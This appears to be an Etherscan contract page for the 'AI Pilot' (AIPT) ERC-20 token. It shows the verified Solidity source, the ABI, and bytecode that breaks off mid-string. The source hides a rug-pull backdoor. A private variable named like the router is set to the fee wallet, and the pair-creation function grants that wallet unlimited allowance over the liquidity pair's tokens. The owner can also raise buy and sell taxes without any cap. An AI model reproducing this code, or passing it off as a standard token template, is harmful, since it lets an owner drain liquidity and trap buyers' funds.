Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 AIPT
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
73,997.38597082310369401 AIPTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AIPilot
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-01 */ // SPDX-License-Identifier: MIT /** Web : https://aipilot.money App : https://app.aipilot.money Doc : https://docs.aipilot.money Twitter : https://twitter.com/aipilotreactor Telegram: https://t.me/aipilot_official */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, " multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "caller is not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "new owner is the zero address"); _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } contract AIPilot is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromAiptFee; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000 * 10**_decimals; uint256 private constant oneAiptPercent = 1000000 * 10**_decimals; // 1% from Liquidity uint256 public maxWalletAmount = oneAiptPercent * 2; // 2% max wallet at launch uint256 private _tax; uint256 public buyTax = 0; uint256 public sellTax = 5; string private constant _name = "AI Pilot"; string private constant _symbol = "AIPT"; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address private _uniswapV2Router; address payable public feeWallet; uint256 private launchedAt; uint256 private launchDelay = 2; bool private launch = false; uint256 private minAiptSwap = oneAiptPercent / 2500; //0.04% from Liquidity supply bool private inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { feeWallet = payable(0xe5cD5C8217FBdCE5508f3dE8243A1565716a4B7c); // AIPT fee wallet _isExcludedFromAiptFee[msg.sender] = true; _isExcludedFromAiptFee[address(this)] = true; _isExcludedFromAiptFee[feeWallet] = true; _uniswapV2Router = feeWallet; _balance[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount)public override returns (bool){ _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256){ return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool){ _approve(_msgSender(), spender, amount); return true; } function newAiptDelay(uint256 newLaunchDelay) external onlyOwner { launchDelay = newLaunchDelay; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "approve zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcludedFromAiptFee[from] || _isExcludedFromAiptFee[to]) { _tax = 0; } else { require(launch, "Wait till launch"); if (block.number < launchedAt + launchDelay) {_tax=20;} else { if (from == uniswapV2Pair) { require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch"); _tax = buyTax; } else if (to == uniswapV2Pair) { uint256 tokensToSwap = balanceOf(address(this)); if (tokensToSwap > minAiptSwap && !inSwapAndLiquify) { if (tokensToSwap > oneAiptPercent) { tokensToSwap = oneAiptPercent; } contractSwapForEth(tokensToSwap, amount); } _tax = sellTax; } else { _tax = 0; } } } uint256 taxAiptTokens = (amount * _tax) / 100; uint256 transferAmount = amount - taxAiptTokens; _balance[from] = _balance[from] - amount; _balance[to] = _balance[to] + transferAmount; _balance[address(this)] = _balance[address(this)] + taxAiptTokens; emit Transfer(from, to, transferAmount); } function createAiptV2Pairs() external onlyOwner { require(!launch,"Already launched!"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(uniswapV2Pair), address(_uniswapV2Router), type(uint).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function cleanAiptStuckedEth() external onlyOwner { require(address(this).balance > 0, "No Balance to withdraw!"); payable(msg.sender).transfer(address(this).balance); } function contractSwapForEth(uint256 tokenAmount, uint256 tokensForSwap) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(tokensForSwap > minAiptSwap) { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); uint256 ethForMarketing = address(this).balance; feeWallet.transfer(ethForMarketing); } } function enableTrading() external onlyOwner { launch = true; launchedAt = block.number; } function withdrawStuckETH() external onlyOwner { payable(feeWallet).transfer(address(this).balance); } function withdrawStuckERC20(IERC20 token) external onlyOwner { token.transfer(feeWallet, token.balanceOf(address(this))); } function removeAiptLimits() external onlyOwner { maxWalletAmount = _totalSupply; } function newAiptTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner { buyTax = newBuyTax; sellTax = newSellTax; } function newAiptSwap() external { minAiptSwap = 0; } function getAiptSwapAmount() external view returns (uint256) { return minAiptSwap; } function sendAiptBalances(uint256 amount) private { feeWallet.transfer(amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanAiptStuckedEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createAiptV2Pairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAiptSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLaunchDelay","type":"uint256"}],"name":"newAiptDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"newAiptSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"newAiptTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAiptLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"withdrawStuckERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126012600a620002e6565b6200002190620f4240620002fe565b6200002e906002620002fe565b600455600060065560056007556002600d55600e805460ff191690556109c46200005b6012600a620002e6565b6200006a90620f4240620002fe565b62000076919062000318565b600f553480156200008657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b805473e5cd5c8217fbdce5508f3de8243a1565716a4b7c6001600160a01b031991821617825533600090815260036020526040808220805460ff199081166001908117909255308452828420805482168317905585546001600160a01b039081168552929093208054909316179091559154600a80549190931691161781556200015790601290620002e6565b62000167906305f5e100620002fe565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001aa6012600a620002e6565b620001ba906305f5e100620002fe565b60405190815260200160405180910390a36200033b565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002285781600019048211156200020c576200020c620001d1565b808516156200021a57918102915b93841c9390800290620001ec565b509250929050565b6000826200024157506001620002e0565b816200025057506000620002e0565b8160018114620002695760028114620002745762000294565b6001915050620002e0565b60ff841115620002885762000288620001d1565b50506001821b620002e0565b5060208310610133831016604e8410600b8410161715620002b9575081810a620002e0565b620002c58383620001e7565b8060001904821115620002dc57620002dc620001d1565b0290505b92915050565b6000620002f760ff84168362000230565b9392505050565b8082028115828204841417620002e057620002e0620001d1565b6000826200033657634e487b7160e01b600052601260045260246000fd5b500490565b61196e806200034b6000396000f3fe6080604052600436106101bb5760003560e01c80637327ebac116100ec578063cc1776d31161008a578063f2fde38b11610064578063f2fde38b146104fc578063f5648a4f1461051c578063fda5be6414610531578063fded57bc1461055157600080fd5b8063cc1776d314610480578063dd62ed3e14610496578063f25f4b56146104dc57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ff57806395d89b411461041d578063a9059cbb1461044a578063aa4bde281461046a57600080fd5b80637327ebac146103be5780637505e37c146103d55780638a8c523c146103ea57600080fd5b80633963510b1161015957806349bd5a5e1161013357806349bd5a5e1461033d5780634f7041a51461035d57806370a0823114610373578063715018a6146103a957600080fd5b80633963510b146102f35780633e4a80421461031357806345f83ef11461032857600080fd5b806318160ddd1161019557806318160ddd14610272578063209ca9f81461029557806323b872dd146102b7578063313ce567146102d757600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267105248141a5b1bdd60c21b60208201525b6040516102019190611524565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611587565b610566565b6040519015158152602001610201565b34801561024657600080fd5b5060085461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5061028761057d565b604051908152602001610201565b3480156102a157600080fd5b506102b56102b03660046115b3565b61059e565b005b3480156102c357600080fd5b5061022a6102d23660046115d5565b6105dc565b3480156102e357600080fd5b5060405160128152602001610201565b3480156102ff57600080fd5b506102b561030e366004611616565b610676565b34801561031f57600080fd5b506102b561078a565b34801561033457600080fd5b50600f54610287565b34801561034957600080fd5b5060095461025a906001600160a01b031681565b34801561036957600080fd5b5061028760065481565b34801561037f57600080fd5b5061028761038e366004611616565b6001600160a01b031660009081526001602052604090205490565b3480156103b557600080fd5b506102b5610833565b3480156103ca57600080fd5b506102b56000600f55565b3480156103e157600080fd5b506102b56108a7565b3480156103f657600080fd5b506102b56108f0565b34801561040b57600080fd5b506000546001600160a01b031661025a565b34801561042957600080fd5b506040805180820190915260048152631052541560e21b60208201526101f4565b34801561045657600080fd5b5061022a610465366004611587565b61092d565b34801561047657600080fd5b5061028760045481565b34801561048c57600080fd5b5061028760075481565b3480156104a257600080fd5b506102876104b136600461163a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50600b5461025a906001600160a01b031681565b34801561050857600080fd5b506102b5610517366004611616565b61093a565b34801561052857600080fd5b506102b5610a05565b34801561053d57600080fd5b506102b561054c366004611673565b610a68565b34801561055d57600080fd5b506102b5610a97565b6000610573338484610e3f565b5060015b92915050565b600061058b6012600a611786565b610599906305f5e100611795565b905090565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c8906117ac565b60405180910390fd5b600691909155600755565b60006105e9848484610f03565b61066c8433610667856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106463390565b6001600160a01b03168152602081019190915260400160002054919061131d565b610e3f565b5060019392505050565b6000546001600160a01b031633146106a05760405162461bcd60e51b81526004016105c8906117ac565b600b546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156106f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071791906117e3565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610762573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078691906117fc565b5050565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105c8906117ac565b600047116108045760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f2077697468647261772100000000000000000060448201526064016105c8565b60405133904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016105c8906117ac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105c8906117ac565b6108dd6012600a611786565b6108eb906305f5e100611795565b600455565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016105c8906117ac565b600e805460ff1916600117905543600c55565b6000610573338484610f03565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105c8906117ac565b6001600160a01b0381166109ba5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016105c8565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b81526004016105c8906117ac565b600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105c8906117ac565b600d55565b6000546001600160a01b03163314610ac15760405162461bcd60e51b81526004016105c8906117ac565b600e5460ff1615610b085760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016105c8565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b51903090610b436012600a611786565b610667906305f5e100611795565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc8919061181e565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4e919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbf919061181e565b600980546001600160a01b0319166001600160a01b03928316908117909155600a54610cee9216600019610e3f565b6008546001600160a01b031663f305d7194730610d20816001600160a01b031660009081526001602052604090205490565b600080610d356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d9d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc2919061183b565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906117fc565b6001600160a01b03831615801590610e5f57506001600160a01b03821615155b610ea25760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b038216610fc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b6000811161102b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c8565b6001600160a01b03831660009081526003602052604090205460ff168061106a57506001600160a01b03821660009081526003602052604090205460ff165b15611079576000600555611212565b600e5460ff166110be5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016105c8565b600d54600c546110ce9190611869565b4310156110df576014600555611212565b6009546001600160a01b039081169084160361117b5760045481611118846001600160a01b031660009081526001602052604090205490565b6111229190611869565b11156111705760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016105c8565b600654600555611212565b6009546001600160a01b039081169083160361120c5730600090815260016020526040902054600f54811180156111b5575060105460ff16155b15611200576111c66012600a611786565b6111d390620f4240611795565b8111156111f6576111e66012600a611786565b6111f390620f4240611795565b90505b6112008183611357565b50600754600555611212565b60006005555b60006064600554836112249190611795565b61122e919061187c565b9050600061123c828461189e565b6001600160a01b03861660009081526001602052604090205490915061126390849061189e565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611293908290611869565b6001600160a01b0385166000908152600160205260408082209290925530815220546112c0908390611869565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156113415760405162461bcd60e51b81526004016105c89190611524565b50600061134e848661189e565b95945050505050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611399576113996118b1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611416919061181e565b81600181518110611429576114296118b1565b60200260200101906001600160a01b031690816001600160a01b031681525050600f548211156115155760085461146b9030906001600160a01b031685610e3f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a49086906000908690309042906004016118c7565b600060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b5050600b546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b50506010805460ff1916905550565b600060208083528351808285015260005b8181101561155157858101830151858201604001528201611535565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461083057600080fd5b6000806040838503121561159a57600080fd5b82356115a581611572565b946020939093013593505050565b600080604083850312156115c657600080fd5b50508035926020909101359150565b6000806000606084860312156115ea57600080fd5b83356115f581611572565b9250602084013561160581611572565b929592945050506040919091013590565b60006020828403121561162857600080fd5b813561163381611572565b9392505050565b6000806040838503121561164d57600080fd5b823561165881611572565b9150602083013561166881611572565b809150509250929050565b60006020828403121561168557600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116dd5781600019048211156116c3576116c361168c565b808516156116d057918102915b93841c93908002906116a7565b509250929050565b6000826116f457506001610577565b8161170157506000610577565b816001811461171757600281146117215761173d565b6001915050610577565b60ff8411156117325761173261168c565b50506001821b610577565b5060208310610133831016604e8410600b8410161715611760575081810a610577565b61176a83836116a2565b806000190482111561177e5761177e61168c565b029392505050565b600061163360ff8416836116e5565b80820281158282048414176105775761057761168c565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b6000602082840312156117f557600080fd5b5051919050565b60006020828403121561180e57600080fd5b8151801515811461163357600080fd5b60006020828403121561183057600080fd5b815161163381611572565b60008060006060848603121561185057600080fd5b8351925060208401519150604084015190509250925092565b808201808211156105775761057761168c565b60008261189957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105775761057761168c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119175784516001600160a01b0316835293830193918301916001016118f2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220152a8de283e3d4ac36bc136b9f5ae9fa807c0dc5bce44f02549f180cdc2ffaa964736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c80637327ebac116100ec578063cc1776d31161008a578063f2fde38b11610064578063f2fde38b146104fc578063f5648a4f1461051c578063fda5be6414610531578063fded57bc1461055157600080fd5b8063cc1776d314610480578063dd62ed3e14610496578063f25f4b56146104dc57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ff57806395d89b411461041d578063a9059cbb1461044a578063aa4bde281461046a57600080fd5b80637327ebac146103be5780637505e37c146103d55780638a8c523c146103ea57600080fd5b80633963510b1161015957806349bd5a5e1161013357806349bd5a5e1461033d5780634f7041a51461035d57806370a0823114610373578063715018a6146103a957600080fd5b80633963510b146102f35780633e4a80421461031357806345f83ef11461032857600080fd5b806318160ddd1161019557806318160ddd14610272578063209ca9f81461029557806323b872dd146102b7578063313ce567146102d757600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267105248141a5b1bdd60c21b60208201525b6040516102019190611524565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611587565b610566565b6040519015158152602001610201565b34801561024657600080fd5b5060085461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5061028761057d565b604051908152602001610201565b3480156102a157600080fd5b506102b56102b03660046115b3565b61059e565b005b3480156102c357600080fd5b5061022a6102d23660046115d5565b6105dc565b3480156102e357600080fd5b5060405160128152602001610201565b3480156102ff57600080fd5b506102b561030e366004611616565b610676565b34801561031f57600080fd5b506102b561078a565b34801561033457600080fd5b50600f54610287565b34801561034957600080fd5b5060095461025a906001600160a01b031681565b34801561036957600080fd5b5061028760065481565b34801561037f57600080fd5b5061028761038e366004611616565b6001600160a01b031660009081526001602052604090205490565b3480156103b557600080fd5b506102b5610833565b3480156103ca57600080fd5b506102b56000600f55565b3480156103e157600080fd5b506102b56108a7565b3480156103f657600080fd5b506102b56108f0565b34801561040b57600080fd5b506000546001600160a01b031661025a565b34801561042957600080fd5b506040805180820190915260048152631052541560e21b60208201526101f4565b34801561045657600080fd5b5061022a610465366004611587565b61092d565b34801561047657600080fd5b5061028760045481565b34801561048c57600080fd5b5061028760075481565b3480156104a257600080fd5b506102876104b136600461163a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50600b5461025a906001600160a01b031681565b34801561050857600080fd5b506102b5610517366004611616565b61093a565b34801561052857600080fd5b506102b5610a05565b34801561053d57600080fd5b506102b561054c366004611673565b610a68565b34801561055d57600080fd5b506102b5610a97565b6000610573338484610e3f565b5060015b92915050565b600061058b6012600a611786565b610599906305f5e100611795565b905090565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c8906117ac565b60405180910390fd5b600691909155600755565b60006105e9848484610f03565b61066c8433610667856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106463390565b6001600160a01b03168152602081019190915260400160002054919061131d565b610e3f565b5060019392505050565b6000546001600160a01b031633146106a05760405162461bcd60e51b81526004016105c8906117ac565b600b546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156106f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071791906117e3565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610762573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078691906117fc565b5050565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105c8906117ac565b600047116108045760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f2077697468647261772100000000000000000060448201526064016105c8565b60405133904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016105c8906117ac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105c8906117ac565b6108dd6012600a611786565b6108eb906305f5e100611795565b600455565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016105c8906117ac565b60